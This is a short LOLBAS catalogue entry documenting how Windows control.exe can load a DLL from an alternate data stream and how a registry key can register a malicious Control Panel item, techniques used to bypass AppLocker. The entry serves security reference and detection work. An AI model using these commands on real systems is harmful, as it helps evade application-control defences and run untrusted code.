LOLBAS/OSBinaries/Control.md

Control.exe

• Functions: Execute, Read ADS

control.exe c:\windows\tasks\file.txt:evil.dll

Acknowledgements:

• Jimmy - @bohops

Code sample: *

Resources:

• https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/
• https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/
• https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/
• https://twitter.com/bohops/status/955659561008017409

Full path:

C:\Windows\system32\control.exe    
C:\Windows\sysWOW64\control.exe     

Notes: Add registry in HKCU\Software\Microsoft\Windows\currentversion\controlpanel\CPLS to manipulate.

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\Cpls"
/v EvilCPL.cpl /t REG_SZ /d "C:\Folder\EvilCPL.cpl"